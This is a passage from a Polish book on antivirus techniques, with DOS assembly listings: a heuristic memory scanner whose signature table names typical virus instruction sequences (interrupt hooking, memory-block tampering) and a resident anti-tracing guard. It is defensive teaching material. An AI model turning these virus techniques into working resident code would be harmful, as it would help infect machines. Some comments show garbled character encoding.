dw offset TeNieMogeOtworzyc ; BlNieMogeOtworzyc equ 09h
dw offset TeNieMogeCzytac ; BlNieMogeCzytac equ 0Ah
dw offset TeNieMogeZamknac ; BlNieMogeZamknac equ 0Bh
dw offset TePlikZaKrotki ; BlPlikZaKrotki equ 0Ch
TeNieZnalazlem db 'Nie znalazlem lancucha "',DrCiag ,'" w pliku "',DrPlik,'" !',0
TeZnalazlem db 'Ciag "',DrCiag ,'" wystapil '
db DrUnIntDec
dw offset IleZnalezionych
db ' raz(y) w pliku "',DrPlik,'" !',0
TeZnalezionyNaPozycji db 'Ciag "',DrCiag ,'" wystapil na pozycji '
db DrUnIntHex
dw offset AdresZnalezienia
db ','
db DrUnIntDec
dw offset AdresZnalezienia
db 0
HexChars db '0123456789ABCDEF'
TablicaWrostkow db DrPlik
dw offset NazwaPliku
db DrCiag
dw offset Ciag
db DrUnIntDec
dw offset Bin2DecUnInt32
db DrUnIntHex
dw offset Bin2HexUnInt32
NumerBledu db ?
MojAdresPSP dw ?
AdresCzytania dd ?
AdresZnalezienia dd ?
Przeczytane dw ?
IleZnalezionych dd ?
DlugoscCiagu dw ?
AbsDlugoscCiagu dw ?
StareDTAOfs dw ?
StareDTASeg dw ?
StareI24Ofs dw ?
StareI24Seg dw ?
ZmienAtrPliku db ?
Hex2DecBufor db 11 dup(?)
CiagStart:
Ciag db RozmiarCiagu dup(?)
CiagKoniec:
NazwaPliku db DlugNazwyPliku dup(?)
BufDTA DTA_STRUC <>
SKANER ENDS
;-------------------------------------------------------------------
; Segment DTA
; do wczytywania danych (127 sektorow 512 bajtowych=65024 bajtow)
;-------------------------------------------------------------------
ProgDTA SEGMENT
BuforDanych db RozmiarBuforaDanych dup(?) ; bufor na dane z pliku
ProgDTA ENDS
;-------------------------------------------------------------------
; Segment Stosu
;-------------------------------------------------------------------
ProgStos segment word stack 'STACK' ; ustaw STOS
dw RozmiarStosu dup(?)
ProgStos ends
end start
12.2. Heurystycze wyszukiwanie wirusów
Jak wspomniano we wstępie, większość istniejących wirusów to najczęściej przeróbki, stąd techniki wykorzystywane w pierwowzorach są bez większych zmian implementowane w kolejnych, nowych pokoleniach wirusów.
Wykorzystując ten fakt, twórcy programów antywirusowych zaczęli stosować technikę heurystycznego wykrywania kodu, polegającą na tym, iż na podstawie znajomości charakterystycznych, klasycznych sekwenqi instrukcji zawartych w typowych wirusach, można znaleźć nieznane jeszcze, ale wykorzystujące je wirusy. Typowe instrukcje wykorzystywane przez wirusy zostały wymienione w poprzednich rozdziałach, np. przy okazji omawiania instalacji w systemie i przejmowania przerwań. Poniżej pokazano kilka instrukcji podatnych na heurystykę lub sekwencji znajdujących się najczęściej w kodzie typowego wirusa plikowego. Jeżeli program antywirusowy, przeszukując pamięć lub plik, zidentyfikuje je (lub też inne), najczęściej informuje o tym użytkownika. Często wykrycie nawet kilku charakterystycznych bajtów w pamięci może umożliwić wykrycie nieznanego jeszcze wirusa. Poszukiwanie sekwencji może być prowadzone bądź to przy okazji zwykłego skaningu, bądź też podczas kontrolowanego uruchamiania programów (tryb krokowy, emulacja procesora).
CMP AX, 4B00h ; sprawdƒ czy jest uruchamiany jaki£ program
; 3D,00,4B kod maszynowy rozkazu
CMP DS:[0],Z ; czy ostatni blok pamiÛci
; 80,3E,00,00, 5A kod maszynowy rozkazu
MOV AX, 2521h ; funkcja DOS ustaw adres przerwania 21h
INT 21h ; wywo│aj funkcjÛ B8,21,25,CD,21 kod maszynowy
; sekwencji
MOV WORD PTR [l],0008 ; ustaw blok jako systemowy w nag│¾wku MCB
; C7,06,01,00,08,00 kod maszynowy instrukcji
CALL NEXT ; weƒ relatywny offset NEXT:
; E8,00,00 kod instrukcji
Zamieszczony poniżej program stara się znaleźć w całej wykorzystywanej przez programy użytkowe pamięci operacyjnej sekwencje, które zwykle są wykorzystywane przez wirusy.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; HEUR v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program przeglada bloki MCB obecne w systemie i poszukuje w ;
; nich kilku standardowo wystepujacych w wirusach sekwencji ;
; Przy jego uzyciu mozna wykryc w pamieci niektore wirusy ;
; rezydetne ;
;----------------------------------------------------------------------------;
; Dane techniczne ;
;----------------------------------------------------------------------------;
; ;
; Pierwszy bajt sygnatury jest w pliku zXORowany z wartoscia 0AAh, a po ;
; uruchomieniu programu przywraca oryginalna wartosc pierwszego bajtu ;
; Dzieki temu program nie wykryje sygnatur np. w buforach dyskowych lub ;
; buforach programow cache (np. SMARTDRV) ;
; ;
; Program nie sprawdza blokow wolnych (wskaznik PSP w polu bloku MCB=0) ;
; ;; ;; ;;
;----------------------------------------------------------------------------;
JUMPS
HEUR SEGMENT
ORG 100h
ASSUME CS:HEUR, DS:HEUR
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
IleSygnZebyAlarm = 10 ; okresla, ile sygnatur musi wystapic
; w badanym bloku MCB, aby potraktowac
; jego zawartosc za podejrzana
; i wyswietlic ostrzezenie
DlugProgPara = (Offset Koniec-Offset Start+15)/16+10h
; okresla dlugosc programu w pamieci
Sygn struc ; \
SygnNazwa db 45 dup (?) ; \
SygnDlug dw 0 ; \
Sygn00 db 0 ; \
Sygn01 db 0 ; \
Sygn02 db 0 ; \ struktura opisujaca
Sygn03 db 0 ; / sygnature wirusa
Sygn04 db 0 ; /
Sygn05 db 0 ; /
Sygn06 db 0 ; /
Sygn07 db 0 ; /
Sygn ends ; /
DlugoscSygnatury = Size Sygn ; dlugosc struktury
;-----------------------------------------------------------------------------
Start:
lea si,TeCopyRight ; SI=ofset do informacji o programie
Call DrukLn ; wyswietl info o programie
Call SzukajHeur ; szukaj sekwencji w pamieci
mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
;-----------------------------------------------------------------------------
SzukajHeur:
push es ax bx cx dx ; zachowaj zmieniane rejestry
mov bx,IleSygnatur ; ile sygnatur do odXORowania
lea si,Sygnatury ; skad pobierac sygnatury
add si,size SygnNazwa+size SygnDlug
; i gdzie XORowac bajt
XORujSygnature:
xor byte ptr [si],0AAh ; przywroc prawdziwy bajt sygnatury
add si,DlugoscSygnatury ; wez kolejna sygnature
dec bx ; zmniejsz licznik sygnatur
jnz XORujSygnature ; powtarzaj dla kazdej sygnatury
mov IloscSygn,0
mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?
int 21h ; wywolaj funkcje
push ax ; zachowaj informacje na pozniej
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
mov bx,1 ; sprobuj dolaczyc bloki UMB
int 21h ; wywolaj funkcje
mov ah,52h ; funkcja DOS - wez adres listy list LL
int 21h ; wywolaj funkcje
mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB
NastepnyMCB: ; kolejne bloki MCB
mov es,ax ; ES=MCB
mov bl,byte ptr es:[0] ; zachowaj info o znaczniku bloku
mov dx,es:[0003] ; DX=rozmiar bloku MCB
mov cx,es:[0001] ; CX=adres PSP z bloku MCB
Call SzukajWBloku
stc ; +1 w dodawaniu ponizej
adc ax,word ptr es:[0003] ; dodaj rozmiar bloku MCB+1
; AX=nastepny blok MCB
cmp bl,'M' ; czy to posredni blok ?
je NastepnyMCB ; TAK - przegladaj
cmp bl,'Z' ; czy to ostatni blok ?
je OstatniBlokMCB ; TAK - zakoncz przegladanie
; zly blok MCB - naruszona struktura
lea si,TeZlyMCB ; \ wyswietl komunikat
Call DrukLN ; / o blednym bloku MCB
OstatniBlokMCB:
pop bx ; przywroc info o UMB
mov bh,0 ; BX=BL
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
int 21h ; wywolaj funkcje
pop dx cx bx ax es ; przywroc zmieniane rejestry
cmp IloscSygn,0 ; \
jne SzukajHeurPowrot ; \
; - jezeli nie znalazl zadnej
lea si,TeNieMaSygnatur ; / sygnatury to wyswietl komunikat
Call DrukLN ; /
SzukajHeurPowrot:
ret ; powrot
;-----------------------------------------------------------------------------
SzukajWBloku: ; szuka sygnatury w bloku MCB
; AX=blok MCB
; DX=dlugosc bloku w paragrafach
push ds es ax bx cx dx si di ; zachowaj zmieniane rejestry
or cx,cx ; czy blok jest nieuzywany ?
je SzukajWBlokuPowrot ; TAK - nie sprawdzaj i powroc
mov AdresMCB,ax ; zapamietaj adres MCB
inc ax ; ES:0= MCB+1:0
mov es,ax ; ES wskazuje na dane w bloku
lea si,TeSprawdzam ; \
Call Druk ; \
lea si,TeBlokMCB ; \
Call Druk ; \
mov ax,AdresMCB ; \
Call DrukHEX16 ; \ wypisz info o szukaniu
lea si,TeRozmiar ; / w bloku MCB i podaj jego
Call Druk ; / adres, dlugosc
mov ax,dx ; /
Call DrukHex16 ; /
lea si,TeParagraf ; /
Call DrukLn ; /
mov bx,cs ; \
mov ax,es ; \ czy to MCB programu HEUR ?
cmp ax,bx ; / TAK-nie sprawdzaj kodu programu
jne InnyBlok ; / ale sprawdz poza nim
mov ax,DlugProgPara
sub dx,ax ; odejmij dlugosc kodu
or dx,dx ; \ czy nie odjete za duzo ?
jz SzukajWBlokuPowrot ; /
add ax,AdresMCB ; \ ES=dane poza kodem programu
mov es,ax ; /
InnyBlok:
or dx,dx ; \ pomin blok, gdy dlugosc =0
je SzukajWBlokuPowrot ; /
mov IloscBiezSygn,0 ; licznik wystapien w bloku
cld ; SI:=SI+1, DI:=DI+1 po oper. lancuchowych
xor di,di ; dane sa pod ES:0000
SzukajDalej:
mov bx,IleSygnatur ; ustaw licznik sygnatur
lea si,Sygnatury ; podaj, skad pobierac sygnatury
SzukajSygnature:
push si ; zachowaj zmieniane SI
mov bp,si ; zachowaj ofset do nazwy sygnatury
add si,size SygnNazwa+size SygnDlug
; dodaj ofset do sygnatury
lodsb ; wez 1-szy bajt sygnatury
scasb ; czy=bajt w pamieci ?
jnz NastepnaSygnatura ; NIE - sprawdz kolejna sygnature
; TAK - porownaj cala sygnature
mov cx,word ptr ds:[si-3] ; wez dlugosc sygnatury
dec cx ; pierwszego bajtu nie trzeba
; porownywac
push di ; DI jest pozniej potrzebne wiec zachowaj
rep cmpsb ; porownaj sygnature z pamiecia
pop di ; przywroc DI
jnz NastepnaSygnatura ; NIE - nie ma sygnatury
; TAK - sygnatura znaleziona
inc IloscSygn ; zwieksz ilosc wystapien (globalna)
inc IloscBiezSygn ; zwieksz ilosc wystapien (w MCB)
lea si,TeAdres ; \
Call Druk ; \ wyswietl jaka sygnatura
mov ax,es ; \ zostala znaleziona
Call DrukHEX16 ; \ i pod jakim adresem
mov ax,0E3Ah ; \
int 10h ; \
mov ax,di ; \
dec ax ; /
Call DrukHex16 ; /
lea si,TeSygnatura ; /
Call Druk ; /
mov si,bp ; /
add si,SygnNazwa ; /
Call DrukLn ; /
NastepnaSygnatura:
pop si ; przywroc SI
add si,DlugoscSygnatury ; i ustaw na nastepna sygnature
dec di ; ustaw wskaznik na poprzedni bajt
dec bx ; zmniejsz licznik sygnatur
jnz SzukajSygnature ; jezeli nie, to sprawdz kolejna sygnature
NastepnyBajt:
inc di ; wskaznik na nastepny bajt w bloku
and di,15 ; czy ofset>15
jnz SzukajDalej ; NIE - szukaj sygnatur
; TAK - zwieksz numer segmentu
mov di,es ; \
inc di ; \ ES:DI=ES:0010:=ES+1:0
mov es,di ; /
xor di,di ; /
NieZmienSeg:
dec dx ; zmniejsz ilosc paragrafow w bloku
jnz SzukajDalej ; NIE - kontynuuj sprawdzanie
cmp IloscBiezSygn,IleSygnZebyAlarm
; czy ilosc wykrytych sygnatur jest
; odpowiednio duza ?
jb SzukajWBlokuPowrot ; NIE - powrot
lea si,TePrawdopodWirus ; \ TAK - wypisz o tym komunikat
Call DrukLn ; /
SzukajWBlokuPowrot:
pop di si dx cx bx ax es ds ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
DrukLn:
push si ; zachowaj zmieniany rejestr
call Druk ; wyswietl tekst z CS:SI
lea si,TeCRLF ; \ i przejdz do nastepnej linii
Call Druk ; /
pop si ; przywroc zmieniany rejestr
ret ; powrot
;-----------------------------------------------------------------------------
Druk:
push ax si ; zachowaj zmieniane rejestry
DrukPetla:
lods byte ptr cs:[si] ; wez kolejny znak tekstu
or al,al ; czy NUL ?
jz DrukPowrot ; TAK - koniec tekstu
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
jmp short DrukPetla ; pobierz kolejny znak tekstu
DrukPowrot:
pop si ax ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
DrukHEX16:
push ax ; zachowaj 8 dolnych bitow
mov al,ah ; AL=AH=wyzsze 8 bitow
Call DrukHEX8 ; wyswietl wyzsze 8 bitow
pop ax ; przywroc 8 dolnych bitow
DrukHEX8:
push ax ; zachowaj 4 dolne bity
shr al,1 ; \ wez 4 gorne bity
shr al,1 ; \ do AL (podziel przez 16)
shr al,1 ; /
shr al,1 ; /
Call DrukHEX4 ; wyswietl 4 gorne bity
pop ax ; przywroc 4 dolne bity
and al,15 ; utworz z nich liczbe 0..F
DrukHEX4:
push bx ; BX bedzie potrzebne wiec zachowaj
lea bx,HexZnaki ; ustaw BX na tablice konwersji
xlatb ; konwertuj 0..F na '0'..'Z','A'..'Z'
; AL=cyfra
mov ah,0Eh ; funkcja BIOS - wyswietl znak z AL
int 10h ; wywoluje funkcje
pop bx ; przywroc BX
ret ; powrot
HexZnaki db '0123456789ABCDEF' ; tablica konwersji
TeCopyRight db CR,LF,'HEUR v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'_ Szukam sygnatur ...',NUL
db CR,LF
TeCRLF db CR,LF,NUL
TeZlyMCB db CR,LF,'_ Struktura blokow MCB pamieci jest zaklocona !',NUL
TeSygnatura db ': Znaleziona sygnatura : ',NUL
TeNieMaSygnatur db CR,LF,'_ Nie znalazlem zadnej sygnatury !',NUL
TePrawdopodWirus db CR,LF,'_ UWAGA : W ostatnio sprawdzanym bloku MCB moze byc wirus !'
db CR,LF,' Swiadczy o tym ilosc znalezionych w nim sygnatur !',NUL
TeAdres db ' Adres=',NUL
TeBlokMCB db ' MCB=',NUL
TeRozmiar db ', Rozmiar MCB=',NUL
TeParagraf db ' paragrafow',NUL
TeSprawdzam db '_ Sprawdzam',NUL
Sygnatury:
Sygn <'CALL $+3; POP BX ',4,0E8h xor 0AAh,000h,000h,05Bh>
Sygn <'CALL $+3; POP BP ',4,0E8h xor 0AAh,000h,000h,05Dh>
Sygn <'CALL $+3; POP SI ',4,0E8h xor 0AAh,000h,000h,05Eh>
Sygn <'CALL $+3; POP DI ',4,0E8h xor 0AAh,000h,000h,05Fh>
Sygn <'CMP AX,4B00h; JZ ?? ',4,03Dh xor 0AAh,000h,04Bh,074h>
Sygn <'CMP AX,4B00h; JNZ ?? ',4,03Dh xor 0AAh,000h,04Bh,075h>
Sygn <'CMP AX,"MZ" ',4,03Dh xor 0AAh,05Ah,04Dh,075h>
Sygn <'CMP AX,"ZM" ',4,03Dh xor 0AAh,04Dh,05Ah,075h>
Sygn <'MOV AX,2521h; INT 21h ',5,0B8h xor 0AAh,021h,025h,0CDh,021h>
Sygn <'MOV AH,52h; INT 21h ',4,0B4h xor 0AAh,052h,0CDh,021h>
Sygn <'MOV AX,4300h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,043h,0E8h>
Sygn <'MOV AX,4300h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,043h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4301h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,043h,0E8h>
Sygn <'MOV AX,4301h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,001h,043h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,5700h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,057h,0E8h>
Sygn <'MOV AX,5700h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,057h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,5701h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,057h,0E8h>
Sygn <'MOV AX,5701h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,001h,057h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,3D02h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,03Dh,0E8h>
Sygn <'MOV AX,3D02h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,002h,03Dh,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4200h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,042h,0E8h>
Sygn <'MOV AX,4200h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,042h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4202h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,042h,0E8h>
Sygn <'MOV AX,4202h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,002h,042h,02Eh,09Ch,0FFh>
Sygn <'MOV AH,3Fh; CALL NEAR [] ',3,048h xor 0AAh,03Fh,0E8h>
Sygn <'MOV AH,3Fh; PUSHF; CALL D PTR CS:[] ',5,0B4h xor 0AAh,03Fh,02Eh,09Ch,0FFh>
Sygn <'MOV AH,40h; CALL NEAR [] ',3,048h xor 0AAh,040h,0E8h>
Sygn <'MOV AH,40h; PUSHF; CALL D PTR CS:[] ',5,0B4h xor 0AAh,040h,02Eh,09Ch,0FFh>
Sygn <'CMP DS:[0],"Z"; JZ ?? ',4,080h xor 0AAh,03Fh,05Ah,074h>
Sygn <'CMP DS:[0],"Z"; JNZ ?? ',4,080h xor 0AAh,03Fh,05Ah,075h>
Sygn <'CMP ES:[0],"Z"; JZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,074h>
Sygn <'CMP ES:[0],"Z"; JNZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,075h>
Sygn <'MOV DS:[1],0008h ',6,0C7h xor 0AAh,006h,001h,000h,008h,000h>
Sygn <'MOV ES:[1],0008h ',7,026h xor 0AAh,0C7h,006h,001h,000h,008h,000h>
Sygn <'MOV DS:[100h],???? ',4,0C7h xor 0AAh,006h,000h,001h>
Sygn <'MOV ES:[100h],???? ',5,026h xor 0AAh,0C7h,006h,000h,001h>
Sygn <'MOV AX, 100h; PUSH AX; RET ',5,0B8h xor 0AAh,000h,001h,050h,0C3h>
Sygn <'MOV CX, 100h; PUSH CX; RET ',5,0B9h xor 0AAh,000h,001h,051h,0C3h>
Sygn <'MOV DX, 100h; PUSH DX; RET ',5,0BAh xor 0AAh,000h,001h,052h,0C3h>
Sygn <'MOV BX, 100h; PUSH BX; RET ',5,0BBh xor 0AAh,000h,001h,053h,0C3h>
Sygn <'MOV AX, 100h; JMP AX ',5,0B8h xor 0AAh,000h,001h,0FEh,0E0h>
Sygn <'MOV CX, 100h; JMP CX ',5,0B9h xor 0AAh,000h,001h,0FEh,0E1h>
Sygn <'MOV DX, 100h; JMP DX ',5,0BAh xor 0AAh,000h,001h,0FEh,0E2h>
Sygn <'MOV BX, 100h; JMP BX ',5,0BBh xor 0AAh,000h,001h,0FEh,0E3h>
Sygn <'MOV DS:[0086],CS ',4,08Ch xor 0AAh,00Eh,086h,000h>
Sygn <'MOV ES:[0086],CS ',5,026h xor 0AAh,08Ch,00Eh,086h,000h>
Sygn <'MOV AX,DS; DEC AX; MOV DS,AX ',5,08Ch xor 0AAh,0D8h,048h,08Eh,0D8h>
Sygn <'MOV AX,ES; DEC AX; MOV ES,AX ',5,08Ch xor 0AAh,0C0h,048h,08Eh,0C0h>
Sygn <'MOV AL,3; IRET ',3,0B4h xor 0AAh,003h,0CFh>
IleSygnatur = ($-offset Sygnatury)/DlugoscSygnatury
AdresMCB dw ?
IloscBiezSygn dw ?
IloscSygn dw ?
Koniec:
HEUR ENDS
END Start
12.3. Tryb krokowy
Do wykrywania zaawansowanych polimorficznych wirusów nie można stosować zwykłego skaningu, gdyż kod wirusa za każdym razem wygląda zupełnie inaczej. Możliwym wyjściem jest w tej sytuacji wykorzystanie trybu krokowego procesora. Program antywirusowy uruchamia sprawdzany program w trybie krokowym pod kontrolą odpowiedniego monitora tego przerwania przy użyciu np. (4B01/21). Po każdej wykonanej instrukcji wywoływany jest monitor, który sprawdza, czy np. aktualnie wykonywana instrukcja pasuje do listy chararakterystycznych, stałych instrukcji wirusa (jego wersji odszyfrowanej). Jeżeli instrukcja spełnia wymagania, monitor - przy użyciu dozwolonego w tym przypadku skaningu - sprawdza, czy w kodzie jest już odszyfrowany wirus. Jeżeli po przekroczeniu jakiejś wartości granicznej wykonanych instrukcji monitor nie wykryje żadnego podejrzanego kodu, sztucznie kończy program i sygnalizuje, iż nie ma w nim wirusa.
12.4. Emulacja procesora
Ze względu na to, iż omówiony w poprzednim punkcie tryb krokowy można oszukać, autorzy programów AV musieli zastosować inną metodę kontrolowanego uruchamiania programów. W tym celu wbudowali w swe programy interpretator asemblera, dzięki któremu mogą emulować wykonywanie początkowych intrukcji programu, mając jednocześnie nad nim pełną kontrolę. Ze względu na ciągły rozwój procesorów linii 80x86 interpretator asemblera musi być stale rozwijany. Nieuwzględnienie instrukcji wszystkich procesorów spowoduje bowiem, iż przy najbliższym wystąpieniu instrukcji, której monitor jeszcze nie potrafi rozpoznać, jego działanie zostanie zakończone z wynikiem negatywnym. Do niedawna sprawa miała się tak na przykład z kodami 66h, 67h, będącymi interfejsem rozszerzoych instrukcji dla procesorów 386 i wyższych. Niektóre wirusy celowo wykorzystywały je do oszukiwania programów antywirusowych, które po ich napotkaniu kończyły sprawdzanie pliku.
12.5. Przynęty (ang. baits, decoys)
Jedną z technik używanych do łapania prostych wirusów są przynęty. Są to programy, dające się zainfekować ewentualnemu wirusowi. Najczęściej na kod takiego programu składa się kilkaset lub kilka tysięcy razy powtórzona operacja NOP oraz instrukcja zakończenia programu. Program antywirusowy może tworzyć kilka lub więcej takich plików i następnie wykonywać z nimi różne operacje: uruchamiać, otwierać, czytać i zapisywać do nich na różne sposoby, aby dać szansę ewentualnemu wirusowi na ich zainfekowanie.
Wygenerowana przynęta powinna jak najbardziej przypominać typowy program, i to zarówno pod względem długości, jak i zawartości. Jeżeli bowiem długość pliku jest znacząca, tzn. np. wynosi jakąś wielokrotność liczb 10 czy 16, wirus może nie zainfekować takiego pliku.
12.6. Odświeżanie programów systemowych w sektorach
Ta dość trywialna technika służy do nadpisywania programów istniejących w BOOT-sektorach lub Głównych Rekordach Ładujących. Jednym z efektów wykonania takiego odświeżania może być usunięcie nieznanego jeszcze wirusa z zajmowanego przez niego sektora. Podczas przeprowadzania operacji odświeżania należy pamiętać, iż niektóre wirusy całkowicie przejmują kontrolę nad danymi zawartymi w sektorach systemowych, tak więc zamazanie wirusa może spowodować, iż podczas następnego startu systemu system nie będzie się ładował z twardego dysku lub też - co gorsza - nie będzie można odczytać zapisanych na dysku danych.
Możliwe wyjście z tej sytuacji polega na zapisaniu aktualnego stanu dysku (zawartości sektorów) w kopii bezpieczeństwa np. na czystej dyskietce, aby można było później odtworzyć operację odświeżania. Ze względu na możliwość stosowania przez wirusa techniki stealth odczyty najlepiej, byłoby wykonywać przez porty.
12.7. Blokowanie programów używających trybu krokowego
Niektóre monitory antywirusowe posiadają wbudowane mechanizmy blokowania wirusów, które używają trybu krokowego do znalezienia oryginalnych wejść do przerwań.
Zainstalowany monitor przejmuje najbardziej narażone na tracing przerwania (13h, 21h, 2Fh) i podczas ich wywoływania ustawia procedurę obsługi przerwania INT 0lh (trybu krokowego) na pustą procedurę, zakończoną rozkazem IRET, a po wywołaniu oryginalnej procedury chronionego przez siebie przerwania przywraca starą procedurę przerwania l. Dzięki temu wirus próbujący znaleźć oryginalną procedurę przerwania znajdzie adres będący częścią monitora antywirusowego. W efekcie wszystkie wykonywane przez wirusa czynności będą przechodzić przez monitor, który nie pozwoli na niebezpieczne działania.
Powyższą technikę demonstruje poniższy program.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program nie pozwala przejsc w trybie krokowym ;
; przez przerwania 13h i 21h. ;
; W efekcie wirusy uzywajace tracingu do odnalezienia ;
; oryginalnych procedur obslugi tych przerwan nie znajda ;
; ostatniego elementu lancucha, a tylko element posredni. ;
; ;
; Kompilacja : ;
; TASM ANTYTRAC.ASM ;
; TLINK /t ANTYTRAC.OBJ ;
; ;
;----------------------------------------------------------------------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych
ANTYTRAC SEGMENT ; segment kodu i danych
ORG 100h ; program jest typu COM
ASSUME CS:ANTYTRAC, DS:ANTYTRAC, ES:ANTYTRAC, SS:ANTYTRAC
DlugoscKoduTSR = (offset KoniecKoduTSR-offset PoczatekKoduTSR+15)/16+10h
; oblicza, ile pamieci zajmie TSR
PoczatekKoduTSR:
Start: ; tu zaczyna sie program
jmp Poczatek ; skocz i zainstaluj lub odinstaluj program
NoweInt21h:
cmp ax,3521h ; czy to funkcja 3521h ?
jne Nie3521 ; NIE - skocz na koniec obslugi
cmp bp,0BACAh ; czy to ponownie uruchomiony program ?
; wywolal te funkcje ?
jne Nie3521 ; NIE - skocz na koniec obslugi
; TAK - odinstaluj wirusa
push es ds ; zachowaj zmieniane rejestry
lds dx,dword ptr cs:[StareInt21] ; pobierz stary adres INT 21h
mov ax,2521h ; funkcja DOS - ustaw nowe przerwanie
int 21h ; wywolaj funkcje (rekurencyjnie)
lds dx,dword ptr cs:[StareInt13] ; pobierz stary adres INT 13h
mov ax,2513h ; funkcja DOS - ustaw nowe przerwanie
int 21h ; wywolaj funkcje
push cs
pop es ; ES=zwalniany segment
mov ah,49h ; funkcja DOS - zwolnij blok pamieci
int 21h ; wywolaj funkcje
pop ds es ; przywroc zmieniane rejestry
mov ax,bp ; przekaz informacje do wywolujacego
; programu
iret ; powrot z przerwania
Nie3521:
Call Wylacz_TF ; jezeli bit TF=1, ustaw TF=0
db 0EAh ; czesc rozkazu JMP FAR
StareInt21 dd ? ; koncowka rozkazu JMP FAR
NoweInt13h:
Call Wylacz_TF ; jezeli TF=1, ustaw TF=0
db 0EAh ; czesc rozkazu JMP FAR
StareInt13 dd ? ; koncowka rozkazu JMP FAR
Wylacz_TF:
cli ; zablokuj przerwania
push ax bx ds ; zachowaj zmieniane rejestry
push ss ; \ za pomoca tej sztuczki zwykle
pop ss ; \ mozna pobrac "prawdziwy" obraz
pushf ; / rejestru znacznikow
pop ax ; /
test ah,1 ; czy TF ustawiony ?
jz TF_NieUstawiony ; NIE - nie trzeba nic robic
mov ax,0123h ;
push ax ; ss:[sp]:=0123
pop ax ; ax:=ss:[sp]:=0123
dec sp ; sp=sp-2-wskazuje na wartosc,
dec sp ; ktora byla sciagana ze stosu
pop ax ; ax:=ss:[sp]:=0123 jezeli TF=0
cmp ax,0123h
jz TF_NieUstawiony ; NIE - nie trzeba nic robic
xor ax,ax ; \ DS wskazuje na tablice przerwan
mov ds,ax ; /
lds bx,ds:[01h*4] ; DS:BX wskazuje na adres obslugi
; przerwania krokowego INT 1
mov al,0CFh ; kod 0CFh oznacza IRET
xchg al,ds:[bx] ; wymien pierwszy bajt w procedurze
; obslugi INT 1 - teraz jest tylko
; IRET
push ax ; zachowaj pierwszy bajt procedury
pushf ; \
pop ax ; \ zeruj TF
and ah,0FEh ; -
push ax ; /
popf ; /
pop ax ; przywroc pierwszy bajt
mov ds:[bx],al ; i zapisz go z powrotem
TF_NieUstawiony:
pop ds bx ax ; przywroc zmieniane rejestry
ret ; powrot z procedury
KoniecKoduTSR:
Poczatek:
mov es,ds:[2Ch] ; ES=blok otoczenia programu
mov ah,49h ; funkcja DOS - zwolnij blok pamieci
int 21h ; wywolaj funkcje
lea si,TeCopyRight ; \ pokaz info o programie
Call Print ; /
mov bp,0BACAh ; \ wez stare INT 21h i jednoczesnie
mov ax,3521h ; - odinstaluj program, jezeli juz
int 21h ; / byl wczesniej zainstalowany
cmp ax,0BACAh ; czy zostal odinstalowany ?
je Deinstal ; TAK - wyswietl komunikat i koncz
mov word ptr [StareInt21],bx ; \ zachowaj stare INT 21
mov word ptr [StareInt21+2],es ; /
mov ax,3513h ; funkcja DOS - wez stare INT 13h
int 21h ; wywolaj funkcje
mov word ptr [StareInt13],bx ; \ zachowaj stare INT 13
mov word ptr [StareInt13+2],es ; /
lea si,TeZainstalowany ; \ pokaz info o programie
Call Print ; /
lea dx,NoweInt21h ; DS:DX wskazuje na nowa procedure
mov ax,2521h ; funkcja DOS - ustaw nowa INT 21
int 21h ; wywolaj funkcje
lea dx,NoweInt13h ; DS:DX wskazuje na nowa procedure
mov ax,2513h ; funkcja DOS - ustaw nowa INT 13
int 21h ; wywolaj funkcje
mov dx,DlugoscKoduTSR ; ile kodu zostanie jako TSR
mov ah,31h ; funkcja DOS - koncz i zostaw TSR
int 21h ; wywolaj funkcje
Deinstal:
lea si,TeOdinstalowany ; \ pokaz info o deinstalacji
Call Print ; /
mov ax, 4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
Print proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane rejestry
push si ; /
GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem ?
jz PrintExit ; tak=koniec napisu; wyjdz z petli
Call PrintChar ; nie=wyswietl znak w AL
;
jmp short GetNextChar ; i wez nastepny znak
PrintExit:
pop si ; \ przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
